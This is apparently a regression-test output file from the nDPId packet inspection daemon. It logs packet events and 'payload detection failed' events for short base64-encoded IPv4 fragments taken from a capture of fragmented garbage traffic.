+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475949,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476064,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476075,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476106,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476147,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476170,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476286,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476296,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476328,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476380,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476401,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476411,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 